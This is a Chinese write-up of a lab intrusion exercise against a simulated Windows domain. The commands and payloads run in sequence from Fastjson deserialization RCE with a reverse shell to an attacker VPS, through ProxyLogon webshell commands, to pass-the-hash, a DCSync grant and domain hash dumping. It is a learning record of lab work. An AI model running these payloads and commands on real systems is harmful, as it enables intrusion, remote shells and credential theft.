0x00 Introduction
Exchange 靶场涉及到内网渗透中的信息收集、代理转发、内网扫描、特权提升以及横向移动等技术方法,能够加强对域环境核心认证机制的理解。
0x01 信息收集
nmap -sT --min-rate 10000 -p- 39.99.135.190
|
发现有四个开放的端口:21,22,80,8000。注意 nmap 扫描最好扫两次,比对结果是否相同。我第一次扫描时就没扫出来 8000 端口。
接下来对这四个端口进行详细信息扫描:
nmap -sT -sC -sV -O -p21,22,80,8000 39.99.135.190
|
浏览器访问 http://39.99.135.190 ,显示禁止访问:
扫描 8000 端口的时候,得到了一个 url : http://39.99.135.190:8000/login.html 。访问之后,是个登录页面:
接下来开始 Web 渗透。
0x02 Web渗透
搜索关键词:Lumia ERP v2.3 CVE ,发现该系统存在未授权访问漏洞和远程命令执行漏洞:
华夏erp账号密码泄露+后台rce(最新组合漏洞) | CN-SEC 中文网
访问 /user/getAllList;.ico
可以获取用户凭据:
密码应该是被 MD5 加密了:
原来密码就是 123456,那么一开始尝试弱口令也能登录。
登录管理员账号后进入后台:
上述资料说后台存在 fastjson 反序列化漏洞,到现在还没接触过,搜一搜:
Java中Fastjson各版本漏洞对抗史与总结 - 先知社区
Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_fastjson漏洞原理-CSDN博客
0x03 Fastjson反序列化漏洞利用
fastjson 是一个由阿里开发的开源 JSON 解析库,可以将 Java 对象转换为 JSON 格式(序列化),也可以将 JSON 字符串转换为 Java 对象(反序列化)。
漏洞原理:
Fastjson反序列化漏洞是源于在处理 json 数据时对输入的验证不足,没有对@type
字段进行过滤,导致攻击者可以构造一个恶意的 JSON 数据,将恶意类作为 AutoType 的值。当 fastjson 反序列化时,从而实例化指定类导致远程代码执行。
该漏洞在后台用户管理的查询功能处触发:
首先抓个包验证是否存在 fastjson 反序列化漏洞。
payload:
{"@type":"java.net.Inet4Address","val":"b0ab221691.ipv6.1433.eu.org."}
|
将 search 值改为 url 编码后的 payload:
接收到 DNS 记录,证明 fastjson 反序列化漏洞利用成功。
接下来构造 mysql-JDBC 利用链执行反弹 shell:fastjson 反序列化之mysql JDBC 利用_fastjson mysql-CSDN博客
需要用到 evil-mysql-server 和 ysoserial-all.jar 。
evil-mysql-server是一个针对 jdbc 反序列化漏洞编写的恶意数据库,依赖 ysoserial。ysoserial-all.jar是一个 java 反序列化利用神器。
放在同一个文件夹下,编译 go 文件:
go build evil-mysql-server.go
|
执行以下命令开启一个 fake mysql server:
./evil-mysql-server -addr 3307 -java java -ysoserial ysoserial-all.jar
|
payload:
{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "vpsIP地址", "portToConnectTo": 3307, "info": { "user": "yso_CommonsCollections6_bash -c {echo,base64编码后的反弹shell命令}|{base64,-d}|{bash,-i}", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" } }
|
作用是向远程 vps 伪造的恶意 MySQL 服务发送 SQL 请求,服务端返回恶意 SQL 结果触发反序列化。将 payload 进行 url 编码后发送:
成功执行反弹 shell:
获取入口机的 flag:
0x04 搭建代理
工具:FastProxy,建议仅在靶场使用。
在远程 vps 中启动 app.py 脚本:
复制上方启动脚本的 curl 命令,在入口机中执行:
socks 代理信息在 vps 端。在 kali 上编辑/etc/proxychains4.conf
:
测试一下,结果显示代理搭建成功:
0x05 内网扫描
查看入口机 ip 地址:
进入 /tmp 目录,使用 fscan 扫描整个网段:
./fscan -h 172.22.3.12/16
|
___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 172.22.3.12 is alive (icmp) Target 172.22.3.2 is alive (icmp) Target 172.22.3.9 is alive (icmp) Target 172.22.3.26 is alive (icmp) Target 172.22.255.253 is alive [*] LiveTop 172.22.0.0/16 段存活数量为: 5 [*] LiveTop 172.22.3.0/24 段存活数量为: 4 [*] LiveTop 172.22.255.0/24 段存活数量为: 1 [*] Icmp alive hosts len is: 5 172.22.3.9:445 open 172.22.3.26:445 open 172.22.3.9:808 open 172.22.3.2:445 open 172.22.3.9:443 open 172.22.3.9:139 open 172.22.3.2:139 open 172.22.3.26:135 open 172.22.3.26:139 open 172.22.3.9:135 open 172.22.3.2:135 open 172.22.3.9:81 open 172.22.3.9:80 open 172.22.3.2:88 open 172.22.3.9:8172 open [*] alive ports len is: 15 start vulscan [+] NetInfo: [*]172.22.3.26 [->]XIAORANG-PC [->]172.22.3.26 [*] 172.22.3.26 XIAORANG\XIAORANG-PC [+] NetInfo: [*]172.22.3.2 [->]XIAORANG-WIN16 [->]172.22.3.2 [*] WebTitle:http://172.22.3.9 code:403 len:0 title:None [+] NetInfo: [*]172.22.3.9 [->]XIAORANG-EXC01 [->]172.22.3.9 [*] 172.22.3.2 (Windows Server 2016 Datacenter 14393) [*] 172.22.3.2 [+]DC XIAORANG\XIAORANG-WIN16 Windows Server 2016 Datacenter 14393 [*] 172.22.3.9 XIAORANG\XIAORANG-EXC01 Windows Server 2016 Datacenter 14393 [*] WebTitle:http://172.22.3.9:81 code:403 len:1157 title:403 - 禁止访问: 访问被拒绝。 [*] WebTitle:https://172.22.3.9:8172 code:404 len:0 title:None [*] WebTitle:https://172.22.3.9 code:302 len:0 title:None 跳转url: https://172.22.3.9/owa/ [*] WebTitle:https://172.22.3.9/owa/auth/logon.aspx?url=https%3a%2f%2f172.22.3.9%2fowa%2f&reason=0 code:200 len:28237 title:Outlook 已完成 15/15 [*] 扫描结束,耗时: 21.323436507s
|
端口开放情况:
172.22.3.9:445, 808, 443, 139, 135, 81, 80, 8172 172.22.3.2:445, 139, 135, 88 172.22.3.26:445, 135, 139 // 88 端口用于域控服务器的身份验证功能
|
内网信息搜集结果:
172.22.3.2 XIAORANG-WIN16 域控 172.22.3.9 XIAORANG-EXC01 Exchange邮件服务器 172.22.3.26 XIAORANG-PC 个人电脑 172.22.3.12 入口机
|
0x06 横向移动-Exchange邮件服务器
ProxyLogon(CVE-2021-26855) 是一个存在于 Microsoft Exchange Server 的漏洞,可以使攻击者绕过身份验证并模拟用户。
EXP: https://github.com/herwonowr/exprolog
proxychains python3 exprolog.py -t 172.22.3.9 -e administrator@xiaorang.lab
|
成功拿到 SYSTEM 权限:
用提供的命令测试一下:
proxychains curl --request POST --url https://172.22.3.9/owa/auth/xxala.aspx --header 'Content-Type: application/x-www-form-urlencoded' --data 'request=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami /all").stdout.readall())' -k
|
成功:
添加个用户:
net user foobar pass@123 /add net localgroup administrators foobar /add
|
接下来使用 kali 自带的 remmina 远程登录该用户,由于靶机是 Windows 系统,选择 RDP 协议。
获取邮件服务器的 flag:
0x07 横向移动-域控
配置 remmina 的 share folder 共享本地文件:
[mimikatz](gentilkiwi/mimikatz: A little tool to play with Windows security):内网渗透神器,可以从 lsass.exe 进程中提取明文密码、哈希值、PIN 码和 Kerberos 票据,它还可以执行传递哈希值、传递票据、建立票据、伪造域管理凭证令牌等诸多功能。
以管理员权限打开 cmd,进入 mimikatz 相应的目录下,执行以下命令:
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt
|
BloodHound:是一款以可视化图形分析域环境中的关系的工具。
渗透测试之内网攻防篇:使用 BloodHound 分析大型域内环境 - FreeBuf网络安全行业门户
使用 BloodHound 进行信息收集。因为只有 SYSTEM 用户有域权限,所以不能用新加的用户,需要用 ProxyLogon 的 shell 来执行命令:
proxychains curl --request POST --url https://172.22.3.9/owa/auth/bzjtp.aspx --header 'Content-Type: application/x-www-form-urlencoded' --data 'request=Response.Write(new ActiveXObject("WScript.Shell").exec("C:\Users\foobar\Desktop\Collectors/SharpHound.exe -c all --OutputDirectory C:/Users/foobar/Desktop/").stdout.readall())' -k
|
把收集到的数据放到本地分析:
渗透测试之内网攻防篇:使用 BloodHound 分析大型域内环境 - FreeBuf网络安全行业门户
发现 exchange 上的域用户有 writeDacl 权限。DACL (Discretionary Access Control List) 是访问控制列表的一部分,定义了哪些用户或组可以访问某个资源,以及能执行哪些操作。用户可以通过 WriteDACL 权限将自己添加为资源的完全控制者。
Impacket):是用于处理网络协议的 Python 类的集合。
Impacket脚本利用指南(上) - 先知社区
前面已经拿到了XIAORANG-EXC01$
这个机器用户的 NTLM hash,所以可以先用 Impacket 中的 psexec.py 进行 PTH (Pass-the-Hash,利用 NTLM hash 冒充用户访问网络资源或系统,无需知道密码本身),获取 system 权限的可交互shell:
proxychains python3 psexec.py -hashes :03447ce0f4a9908d77c860954baa7c1e XIAORANG/XIAORANG-EXC01\$@172.22.3.9
|
上传powerview.ps1,为 Zhangtong 用户添加 DCSync 权限。DCSync 权限允许用户模拟域控请求帐户凭据,这是一种高权限操作,常见于密码提取攻击。
powershell -command "cd C:/Users/foobar/Desktop/; Import-Module .\powerview.ps1; Add-DomainObjectAcl -TargetIdentity 'DC=xiaorang,DC=lab' -PrincipalIde Zhangtong -Rights DCSync -Verbose"
|
接着利用 Zhangtong 用户导出域内哈希:
proxychains python3 secretsdump.py xiaorang.lab/Zhangtong@172.22.3.2 -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc
|
域管哈希为:7acbc09a6c0efd81bfa7d5a1d4238beb,用 wmiexec 登录域控:
proxychains python3 wmiexec.py -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb xiaorang/administrator@172.22.3.2
|
获取域控的 flag:
0x08 横向移动-个人电脑
还有个 172.22.3.26 没用到。刚刚导出的域内哈希显示还有个用户是 Lumia:
在域控上新增一个管理员用户:
net user bridge pass@123 /add net localgroup administrators bridge /add
|
登录域控,win+r 输入 dsa.msc,在 Active Directory 修改 Lumia 用户的密码:
登录 172.22.3.26 的 rdp 后发现桌面有一个 secret.zip,不过需要解压密码。
内网中还存在Exchange服务,访问 https://172.22.3.9/owa/ ,使用 Lumia 用户的密码登录,查看邮件:
zip2john 爆破,手机号为 18763918468,解压拿到个人电脑的 flag:
0x09 Conclusion
第一次接触内网渗透,打靶过程非常吃力,基本遇到的全是新知识,继续加油吧。